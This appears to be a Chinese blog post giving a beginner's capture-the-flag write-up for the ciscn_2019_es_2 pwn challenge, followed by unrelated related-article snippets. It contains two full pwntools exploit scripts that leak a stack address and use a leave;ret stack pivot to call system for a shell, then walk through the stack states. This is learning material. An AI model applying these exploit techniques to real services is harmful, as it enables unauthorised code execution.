ciscn_2019_es_2

news2025/1/10 20:25:42

小白垃圾做题笔记,不及建议阅读。

声明,exp来自网络,调试过程自己调试,对于题目的理解仅供参考。由于本人也是小白,且pwn全靠自己摸索,所以有很多理解不到位的地方。如有错误,欢迎指正。

1.做题

这道题嗯,做了好久。

绕过nx,好像叫栈迁移。

main函数如下:

vul函数存在溢出,但是溢出不是很多。

 

也就是说可以覆盖到ebp和返回地址,仅此而已。

有system函数,但是没有/bin/sh.

echo flag 并没有什么用。(起码我认为,因为我将返回地址覆盖为该函数时,他确实是echo  “flag”),但是此flag非彼falg。

 

想了好久,还是不会,去网上找答案。大佬说是栈迁移,反正我是没玩明白,仅仅是搞懂就费劲,别说遇到题目熟练做出来了。下边写下总结,和exp打进去后的运行过程吧。

exp:

from pwn import *
#p = remote("node3.buuoj.cn",27236)


p=gdb.debug("./ciscn_2019_es_2","break main")
#因为我想让断点下到main函数,停止到call vul指令处,所以使用了这种方法,也是在网上搜的。
context.log_level='debug'
#gdb.attach(p)
sys_addr = 0x8048400
leave_ret = 0x080484b8
payload = b'a' * 0x27 + b'p'
p.send(payload)
p.recvuntil(b'p')
ebp = u32(p.recv(4))
print(hex(ebp))
payload = (b'this'+p32(sys_addr)+b'aaaa'+p32(ebp-0x28)+b'/bin/sh\x00').ljust(0x28,b'p')+p32(ebp-0x38) + p32(leave_ret)
                                      #指向'/bin/sh' 								#指向this,也就是我们栈劫持的地方
p.send(payload)
p.interactive()

后来发现远程打不通:

换成这个:主要应该是/bin/sh=>sh  不知道为啥,实到11点。呜呜呜

 

from pwn import *





#p = remote('node4.buuoj.cn',28481)

p = process("./ciscn_2019_es_2")
#p=gdb.debug("./ciscn_2019_es_2","break main")
elf = ELF("./ciscn_2019_es_2")



#remote_target = "1node4.buuoj.cn:28244"  # 远程目标的 IP 地址和端口号
#remote_target = "17.21.200.166:28244" 

# 连接远程目标并设置断点
#p = gdb.debug(["./ciscn_2019_es_2"], gdbscript="break main", exe=remote_target)


#gdb.attach(p, '''
#    break vul
#    break *0x08048610
#    break *0x0804861D
#    break main
#''')
#pause()
#p.debug("DEBUG")
#p.breakpoint('main')
#gdb.attach(p, "b *0x08048610")
context.log_level='debug'
#gdb.attach(p)
sys_addr = 0x8048400
system_addr = elf.sym['system']
leave_ret = 0x080484b8
payload = b'a' * 0x27 + b'p'
p.recvuntil(b'name?\n')
p.send(payload)
p.recvuntil(b'p')
ebp = u32(p.recv(4))
print(hex(ebp))
#payload = (b'this'+p32(system_addr)+p32(system_addr)+p32(ebp-0x28)+b'/bin/sh\x00').ljust(0x28,b'p')+p32(ebp-0x38) + p32(leave_ret)
payload = (b'this'+p32(system_addr)+p32(system_addr)+p32(ebp-0x28)+b'sh\x00').ljust(0x28,b'p')+p32(ebp-0x38) + p32(leave_ret)
                                      #指向'/bin/sh' 								#指向this,也就是我们栈劫持的地方
p.send(payload)
p.interactive()

如果你只想把这道题做出来,到这里就结束了。

2.简单理解。下边是运行过程。

2.1栈的地址。

首先要明白,数据是存在地址里的,我们所说,数据存在栈上,其实栈也是有地址的。

而栈地址所指向的才是数据,当然,栈也可以指向一个地址,这个地址指向一个数据。

栈情况,箭头左边是栈地址。

 查看栈状态,那里的地址,就是栈地址。而esp和ebp指向的就是栈地址。包括push esp,

mov  esp,ebp  计算的也是栈的地址,因为这个时候esp中存储的就是栈地址。

 

理解了这一点,估计会好理解很多。

下边我们从函数调用,一点一点解析这个exp。

2.2调试

我将断点打到call  vul  ,s跟进

这个时候的栈大概长这个样子吧:

main函数中栈,断点至call  vul的栈情况call未执行

然后会执行

2.3call    vul

而call  vul  =>push  eip     ;jmp vul

这个时候ip其实已经指向call下一条指令的地址了,push后作为返回地址返回。

执行后栈大概是这样子的吧:

call 后,进入到vul中,vul第一条指令尚未执行。

到memset栈几乎就初始化结束了。而对应的汇编是:

也就是说调用函数栈的变化只有三行(后期可能还有变化,但是这里仅讨论前边的。):

push  ebp

mov  ebp,esp

sub  esp,28h

那么这三行执行后栈是什么样子呢?

 前:

call 后,进入到vul中,vul第一条指令尚未执行。

2.4push  ebp

vul函数中,push  ebp后栈情况,注意这里push的是ebp所指向的栈地址,也就是main函数的栈地址0x1e8

2.5mov  ebp,esp

mov ebp,esp后

2.6sub  esp,28h 

 

sub  esp,0x28后

2.7泄露地址

这个时候我们已经把0x27个a个一个p输入进去了(我这是在脚本里调试的)

也就是说现在栈上是这样:

这个时候ebp前边都是字符,我认为是没有回车,所以会一连带的把字符后的内容也输出,也就是0x1e8、0x862a还有0x1啥的。而我们把p后边的4个字符接收下来就好,这个是main函数的ebp地址,就是0x0那里,那个地址

gdb中看下这段有什么幺蛾子。发现好像确实是把字符后的内容打印出来了。也就是main的栈基地址。

所以我们泄露出来的内容实际是0xffe951d8地址内所存储的内容,是一个地址,是main函数的ebp的栈地址,就是0xffe951e8

 2.8第二次输入

然后我们通过这个地址,结合levne,对栈进行操作。

我们继续到我们第二次输入。这一次输入会覆盖上一次输入,不过已经不重要了,因为我们已经知道了main的ebp。也就是知道了一个栈地址。

这个时候栈上已经使我们精心构造好的数据。

第二次输入后栈情况:

这个图片截的好像有点问题,正确我认为应该是这样的:

这个时候是第二次输入栈的情况,ebp对应的是上边this的地址,这个好像是计算出来的。而system函数的地址在this后,syste函数后是aaaa,system的返回地址,可以随便填写,再往后是参数地址,也就是/bin/sh的地址,地址都是通过泄露出的main函数的ebp计算的。

nop指令什么也不会做。

leave  和ret

leave=>mov esp,ebp        pop ebp

ret   => pop eip    

这个时候我们

2.9第一次leave

leave前

重点************************

leave后

这个时候栈应该是这样的:

2.10第一次ret后且第二次leave执行后的栈情况

 

这个时候栈应该是这个样子的:

执行完第二次leave后的效果就是esp指向system,而后边是system的返回地址,再往后是参数地址

2.11执行system

太累了,第一次遇到这种题,好像叫栈迁移。

简单总结:leave的作用好像就是让esp去找ebp,然后pop ebp,而第一次leave的目的好像是将ebp的值改到上边,第二次leave让esp去找他。pop后esp正好指向system。

然后就是地址的计算,可谓精髓,真不知道大佬如何做到的。我看大佬文章是计算便宜啥的,但是感觉学会还得一段时间。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/552579.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

新星计划2023【网络应用领域基础】——————Day1

网络应用基础讲解 前言 什么是网络? 什么是网络,网络是什么?能为我们做什么?带着疑问博主一一给你解决 这一章我将带你了解古代人是如何利用“网络”通信的,网络的发展史,osi七层模型,带你了解T…

【2023/05/21】simula

Hello!大家好,我是霜淮子,2023倒计时第16天。 本文将讨论一个广泛关注的话题,即在信息安全领域中如何使用Simula工具进行攻击模拟和威胁情报分析。在这篇文章中,我们将介绍Simula的概念、原理和应用,评价其…

RK3568平台开发系列讲解(驱动基础篇)RK平台RTC的使用

🚀返回专栏总目录 文章目录 一、HYM8563模块二、HYM8563模块三、接口使用3.1 sysfs 接口3.2 procfs 接口3.3 ioctl 接口沉淀、分享、成长,让自己和他人都能有所收获!😄 📢本篇将对RK RTC的使用进行学习。 一、HYM8563模块 ROC-RK3568-PC开发板采用HYM8563作为RTC(Rea…

Android Codelabs

Android Codelabs 提供引导式、教程式、实践编码体验。将引导您完成构建小型应用程序或向现有应用程序添加新功能的过程。该项目将持续收集并整理有关 Android Codelabs 相关文章,提供给感兴趣的读者进行阅读。 使用 Kotlin 进行高级 Android 开发 本课程提供了一…

gcc确认编译器默认头文件

文章目录 1. 背景2. gcc 空编译查看3. 总结 gcc确认编译器默认头文件 1. 背景 linux下查看编译时依赖的头文件,可以直接使用 -Iinclude_path进行指定,没有指定的会从默认头文件位置去查找,如果还找不到,就会报错。那么&#xff0c…

【C++进阶】多态详解(下)

文章目录 单继承中的虚函数表多继承中的虚函数表动态绑定与静态绑定问题探究第一步:观察普通调用的汇编代码第二步:观察ptr1的汇编代码:第三步:观察ptr2的汇编代码:总结: 继承和多态常见的面试问题 单继承中的虚函数表…

Linux:shell之编程免交互

Linux:shell之编程免交互 一、Here Document 免交互1.1 Here Document 免交互概述1.2 语法格式1.3 操作 二、Expect 命令2.1 Expect 概述2.2 基本命令2.3 操作 一、Here Document 免交互 1.1 Here Document 免交互概述 使用I/O重定向的方式将命令列表提供给交互式…

ACM 1011 | 最大公约数与最小公倍数

文章目录 0x00 前言 0x01 题目描述 0x02 问题分析 0x03 代码设计 0x04 完整代码 0x05 运行效果 0x06 总结 0x00 前言 C 语言网不仅提供 C 语言,还包括 C 、 java 、算法与数据结构等课程在内的各种入门教程、视频录像、编程经验、编译器教程及软件下载、题解博…

2023上海市大学生网络安全大赛—ssql题解

Part1前言 上海市大学生网络安全大赛的一道 pwn 题目,题目用了双向链表(猜到是 Unlink 漏洞)。 还算比较简单,主要是分析代码比较复杂。分析完后漏洞限制条件少,题目给了 libc2.31,利用比较灵活。 这题白天…

linux【网络编程】TCP协议通信模拟实现、日志函数模拟、守护进程化、TCP协议通信流程、三次握手与四次挥手

linux【网络编程】TCP协议通信模拟实现、日志函数模拟、守护进程化、TCP协议通信流程 一、TCP通信简单模拟实现1.1 服务端实现1.1.1 接口认识1.1.1.1 listen:监听socket1.1.1.2 accept:获取连接 1.1.2 tcpServer.hpp1.1.3 tcpServer.cc 1.2 客户端实现1.…

软考知识点---08IP地址与域名地址

一、IP地址 (一)什么是IP地址? 连入互联网的计算机,每台计算机或者路由器都有一个由授权机构分配的号码,IP地址代表这一台计算机在网络中的地址 在同一个网络中IP地址是唯一的 IP(IPV4)地…

音频的各项指标

对于下面data和linesize的解释(参考下面3.4中的av_samples_alloc_array_and_samples函数说明): 1)data是通道的意思,例如双通道,data[0]代表左声道,data[1]代表右声道。 2)linesize为采样个数的最大大小字…

ChatGPT全栈开发实战:从需求分析到数据可视化,一站式指南助你快速构建全面应用

文章目录 序章:PDF版下载第一章:Java后端开发1.需求分析1.1 项目分析1.2 开发计划1.3 风险评估1.4 需求增强1.5 需求转情景 2.生成代码2.1 解析文件2.2 数据结构2.3 算法策略2.4 异步处理 3.Bug修改3.1 逻辑错误3.2 性能问题3.3 资源泄露3.4 死锁问题3.5…

MySQL之存储过程和存储函数

1. 存储过程概念 能够将完成特定功能的SQL指令进行封装(SQL指令集),编译之后存储在数据库服务器上,并且为之取一个名字,客户端可以通过名字直接调用这个SQL指令集,获取执行结果。 2. 存储过程优缺点 2.1 优点 (1&am…

【SpringCloud】二、服务注册发现Eureka与负载均衡Ribbon

文章目录 一、Eureka1、服务提供者与消费者2、Eureka原理分析3、搭建Eureka4、服务注册5、模拟多服务实例启动6、服务的发现 二、Ribbon1、负载均衡的原理2、源码分析3、负载均衡策略4、饥饿加载 一、Eureka 1、服务提供者与消费者 服务提供者:一次业务中&#xf…

Elastic-Job原理

Elastic-Job作业类型创建任务并执行 :启动流程弹性分布式实现 Elastic-Job elastic-job(quartz的扩展)使用了quartz的调度机制,内部原理一致,使用注册中心(zookeeper)替换了quartz的jdbc数据存储方式,支持…

ubuntu22.04切换回Xorg使用flameshot截图的问题

在ubuntu20.04时使用flameshot一切正常. 升级到ubuntu22.04之后,发现flameshot不能使用快捷键区域截图了,这个就很不方便. 在网上找了一圈后先是修改文件 /etc/gdm3/custom.conf将里面的 #WaylandEnableflase改成 WaylandEnablefalse即配置为不使用Wayland.然后重启系统,后…

动态通讯录实现(C语言)

目录 前言: 一:单个节点的设计和主逻辑 结点设计 主逻辑 二:接口实现 (1)生成一个新的结点 (2)增加信息 (3)打印信息 (4)查找 (5)删除信息 (6)修改信息 (7)排序 插入排序 快速排序 (8)已有数据读取 (9)更新数据录入 三&…

C语言复习笔记3

1.标识符常量和宏函数&#xff08;宏函数是简单替换所以需要把括号加到位&#xff09; #include<stdio.h>#define MAX 1000//标识符常量 #define num 10 //#define SUM(X,Y) XY //不对 #define SUM(X,Y) ((X)(Y))int max(int a, int b) {return a>b?a:b; }int main(…

系列八、vue配置请求

一、vue2配置请求转发 config/index.js proxyTable配置后端的请求地址 proxyTable: {/: {target: "http://localhost:9000", // 后端服务器地址changeOrigin: true,pathRewrite: {^/: }} }, 注意事项&#xff1a;vue2中不像大多数教程里边讲的那样&#xff0c;直接…